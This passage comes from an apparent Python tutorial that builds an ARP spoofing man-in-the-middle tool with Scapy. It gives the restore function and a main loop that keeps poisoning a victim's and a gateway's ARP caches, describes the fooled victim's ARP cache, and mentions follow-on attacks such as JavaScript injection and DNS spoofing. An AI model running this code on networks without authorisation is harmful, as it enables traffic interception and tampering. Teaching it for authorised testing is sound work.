The above code gets the MAC address of the target, crafts the malicious ARP reply (response) packet, and then sends it.

Once we want to stop the attack, we need to re-assign the real addresses to the target device (as well as the gateway), if we don’t do that, the victim will lose internet connection, and it will be evident that something happened, we don’t want to do that, we will send seven legitimate ARP reply packets (a common practice) sequentially:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at")
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

This was similar to the spoof() function, and the only difference is that it is sending few legitimate packets. In other words, it is sending true information.

Now we are going to need to write the main code, which is spoofing both; the target and host (gateway) infinitely until CTRL+C is detected, so we will restore the original addresses:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

Get: Build 24 Ethical Hacking Scripts & Tools with Python Book

I ran the script on a Linux machine. Here is a screenshot of my result:

In this example, I have used my personal computer as a victim. If you try to check your ARP cache:

You will see that the attacker’s MAC address (in this case, «192.168.1.105») is the same as the gateway’s. We’re absolutely fooled!

In the attacker’s machine, when you click CTRL+C to close the program, here is a screenshot of the restore process:

Going back to the victim machine, you’ll see the original MAC address of the gateway is restored:

Now, you may say what the benefit of being a man-in-the-middle is? Well, that’s a critical question. In fact, you can do many things as long as you have a good experience with Scapy or any other man-in-the-middle tool; possibilities are endless. For example, you can inject javascript code in HTTP responses, DNS spoof your target, intercept files and modify them on the fly, network sniffing and monitoring, and much more.

So, this was a quick demonstration of an ARP spoof attack, and remember, use this ethically! Use it on your private network, don’t use it on a network you don’t have authorization.

Check this tutorial for detecting these kinds of attacks in your network!

Finally, in the Ethical Hacking with Python Book, we build over 20 hacking scripts and tools! Check it out here if you’re interested.

Happy Coding ♥

View Full Code

Read Also

Comment panel